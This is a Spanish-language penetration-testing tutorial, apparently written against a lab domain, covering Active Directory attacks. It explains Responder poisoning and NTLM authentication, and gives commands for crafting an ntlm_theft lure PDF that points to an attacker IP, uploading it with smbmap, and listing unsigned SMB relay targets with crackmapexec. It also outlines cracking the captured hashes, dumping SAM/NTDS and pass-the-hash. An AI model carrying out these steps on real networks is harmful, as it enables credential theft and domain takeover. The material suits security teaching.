# Ataques Clásicos de AD
## Conceptos
### Responder
Responder es un envenenador de tráfico y sniffer que hace de Man in the Midle envenenando tráfico de distintos protocolos como:
- NBT-NS
- LLMNR
- NTLM
- SMB
- MSSQl
LLMNR/NBT-NS: Se utiliza como alternativa de resolución de nombres cuando el DNS no está funcionando correctamente.
NTLM: Protocolo de autenticación utilizado conmunmente en sistemas windows utiliza el procedimiento de desafio/respuesta.
SMB: Protocolo de red que se utiliza para compartir archivos, impresoras entre nodos de una red.
MSSQL: Protocolo utilizado en servidores SQL.
#### Autenticacion con NTLM
1. El cliente envía un nombre de usuario al host.
2. El host responde con un número aleatorio, para que el cliente realize el desafío.
3. El cliente crea un valor hash a partir de el número brindado y la contraseña del usuario y lo devuelve como respuesta.
4. Del mismo modo, el host, que también conoce la contraseña, crea el valor hash y, a continuación, lo compara con la respuesta del cliente.
5. Si ambos valores coinciden, se confirma la autenticidad del cliente y se permite el acceso. Si no hay coincidencia, se cancela la conexión.

## Ataques Clásicos
### SMB Relay Clásico IPv4
A continuación utilizaremos responder y capturaremos algunos hashes, explicando por que sucede tal situacion.
Primero el responder lo que hace es montar un servidor con distintos protocolos para que cuando algún activo de la red a la hora de buscar un recurso que no encuentre, el Responder, esencialmente dira "sí, soy yo pero primero autenticate contra mi" y es ahi en ese momento donde el cliente expone sus hashes para la autenticación.

#### Crack Hash NetNTLMv2
1. Identificamos el tipo de hash
2. le indicamos a john el formato del hash y el diccionario
3. crackeamos el hash

### ntlm_theft + Smbrelay
Conseguir credenciales de acceso válidas en la mayoría de los casos es fundamental para continuar con etapas posteriores de post explotación, en este caso realizaremos una pequeña prueba de con la herramienta ntlm_theft que básicamente lo que hace es generar un témplate de un fichero apuntando hacia nuestro servidor con el responder (donde estaremos envenenando la red) para capturar hashes. En este caso lo que haremos será:
1. Crear el fichero malicioso para subirlo a un recurso de la red
2. Subir ese fichero con smbmap/crackmapexec (ya que disponemos de credenciales de bajo privilegio)
3. Ejecutar el responder para que este en escucha envenenando las conexiones para extraer hashes cuando se autentican contra nosotros.
4. Esperar a que el usuario victima haga clic en el recurso y su tráfico sea redirigido a nuestro servidor con el responder activo
```
python3 ntlm_theft.py --server 10.10.124.240 --generate pdf -f cheque_a_cobrar.pdf
```

```
smbmap -u consultant -p Password123\! -d child.evilcorp.local -.H 10.10.124.155 -r SharedFolder$\\consultant --upload cheque_bancario.pdf
```

Una vez subido nuestro fichero malicioso creado con ntlm_theft, esperaremos a que alguien curioso quiera fijarse qué clase de cheque bancario es.

Y en nuestro responder veremos que la persona que abrió nuestro pdf es una cuenta con privilegios de administrador, podríamos intentar crackearlo y con suerte nos hacemos con el dominio entero

a continuación intentaremos ejecutar un comando remoto whoami a modo de prueba, para después terminar dumpeando la sam local o bien el ntds del dominio, para poder hacer pass the hash, aunque ya teniendo una cuenta privilegiada, podemos activar el módulo de RDP con crackmapexec o simplemente loguearnos por WINRM en el caso de que tenga el puerto 5987 y si no lo tiene abierto podemos habilitarlo quitando las reglas de firewall ya que tenemos ejecución remota de comando a través del smb.

### NTLM Relay
#### Identificamos nuevamente los hosts que no requieren firmado
```
crackmapexec -t 200 smb 10.10.40.0/24 --gen-relay-list targets.txt
```